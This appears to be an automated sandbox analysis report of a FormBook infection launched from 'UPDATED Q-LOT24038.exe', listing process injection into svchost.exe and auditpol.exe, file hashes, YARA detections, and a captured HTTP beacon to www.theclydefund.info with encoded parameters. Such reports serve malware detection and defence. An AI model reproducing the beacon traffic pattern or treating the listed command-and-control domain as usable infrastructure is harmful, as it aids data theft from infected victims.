78pd9P=tvAaww87Lm9jI7z3qpWn2BxK+zVdFFpoL7ERqo8boMumgtE5lalXeMqiFIGJ/K0LbMbMGngmy3GlugfJk+ziWaw94ln4q8TdJtO+j3J1Mc/24+gk2pZkF7KXdqBR9RkqAi6dyUhw+e5XmWDYbUjUbo9kATFscSvbe4zp4A3z0dRAOIq6+1f1sw8Ws28MW+snYBuvnN7Qk/7avfQ4GHPokEf/Bleh8qh/0ekgUUg4g4KdJOs1z4F4THmxAeISQ/j/gq9CZ2h1qo3VY9lXMxT4/8kuvHZ3nyy+jx1OZiAe+Fw7aeYzVArE45fJoG/XH3f2NpBgY2as+o0IKGHZl4XQK2ix9FumLjfrlTc1k5PPsuVDMT1tLX/nA11OCyLXfMALIJFoTm1Mt6GQtxkvt65FefZ4JLAQcBsVDxUxVmIFiAAj9Jx+Swfugbdap5OmieGjaEZFkhSQxaziIpyqdkI8R+ppnhXEZlRn6RKcncbxYHUSQ3nYInPW8H6rtUAcPmccbxWL+cvHXSxU1jDCogzUgXSlhry8+eviaM+vp9xJQ6/R957RyDCsOAPPMV2qhzB/RIOoTx6VUdokOVZNj5+bvXumvSQL2sTYEu569heLim0fnQCg3j1Z3XzU+K8ZU9gbYELXWo0ZoPG9u5mqxpSgzAw1cfx2DBm6xhVSUjmRxOQFjttGlrWeUgN4AMxj9g2IC/H1ohNUebGzA29So9dgUpjdLWMt/+b9MesTopOoNRXYehv03Xvp+95F7+cEUny8hQeLha4ESype211aufd9vWVgzNLYIzxejMPdzBaSk8/Ees0EBSTbHGLMW1UbSt310MyyRfUr0EnvXdN2I02eviDTPai5q2dieoV0j75nmlczQ6RUsC/SepEE7C757fnbvUUrv4VC4+Z1emRI2necAtXINLvQLr+WnD3hpv6yOewqKfJZt23nY+AFbmjDfEi3+NxFE2Jy2c/ZuLfjGYC+FUbkaF3wtNZg4dBkI8rQKvjhu [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49991	3.33.130.190	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:33.045273066 CEST	474	OUT	GET /pt4m/?78pd9P=gto6zAZEImMHeJ+KlpqD+SMf3GhwL3heZOEv9IoNosKW45cXkvVUXc/PKOyk1O8wCdnCAQISoXLeySDC7Pr7eqV7iieAtO2uOKCvlG99AOT98PBZqck2H4Q=&Q0bDs=Qd64jJtXfz5txpyp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.theclydefund.info Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Oct 4, 2024 15:18:33.498105049 CEST	405	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 04 Oct 2024 13:18:33 GMT Content-Type: text/html Content-Length: 265 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 37 38 70 64 39 50 3d 67 74 6f 36 7a 41 5a 45 49 6d 4d 48 65 4a 2b 4b 6c 70 71 44 2b 53 4d 66 33 47 68 77 4c 33 68 65 5a 4f 45 76 39 49 6f 4e 6f 73 4b 57 34 35 63 58 6b 76 56 55 58 63 2f 50 4b 4f 79 6b 31 4f 38 77 43 64 6e 43 41 51 49 53 6f 58 4c 65 79 53 44 43 37 50 72 37 65 71 56 37 69 69 65 41 74 4f 32 75 4f 4b 43 76 6c 47 39 39 41 4f 54 39 38 50 42 5a 71 63 6b 32 48 34 51 3d 26 51 30 62 44 73 3d 51 64 36 34 6a 4a 74 58 66 7a 35 74 78 70 79 70 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?78pd9P=gto6zAZEImMHeJ+KlpqD+SMf3GhwL3heZOEv9IoNosKW45cXkvVUXc/PKOyk1O8wCdnCAQISoXLeySDC7Pr7eqV7iieAtO2uOKCvlG99AOT98PBZqck2H4Q=&Q0bDs=Qd64jJtXfz5txpyp"}</script></head></html>

Target ID:	0
Start time:	09:16:28
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\UPDATED Q-LOT24038.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UPDATED Q-LOT24038.exe"
Imagebase:	0x400000
File size:	1'343'701 bytes
MD5 hash:	C008931448F8BE26F318959A2D579CEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:16:30
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UPDATED Q-LOT24038.exe"
Imagebase:	0x6c0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1921916620.0000000005C60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1921916620.0000000005C60000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1920759249.00000000041A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1920759249.00000000041A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1919938894.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1919938894.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	09:16:56
Start date:	04/10/2024
Path:	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe"
Imagebase:	0xbb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2813920802.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2813920802.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	09:16:58
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\auditpol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\auditpol.exe"
Imagebase:	0x880000
File size:	32'768 bytes
MD5 hash:	70DF7973F8D4AAA2EE3B28391239397B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2807478612.0000000003110000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2807478612.0000000003110000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2811678069.0000000003760000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2811678069.0000000003760000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2811743705.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2811743705.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	8
Start time:	09:17:11
Start date:	04/10/2024
Path:	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe"
Imagebase:	0xbb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2818192259.0000000005880000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.2818192259.0000000005880000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	09:17:24
Start date:	04/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6de060000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true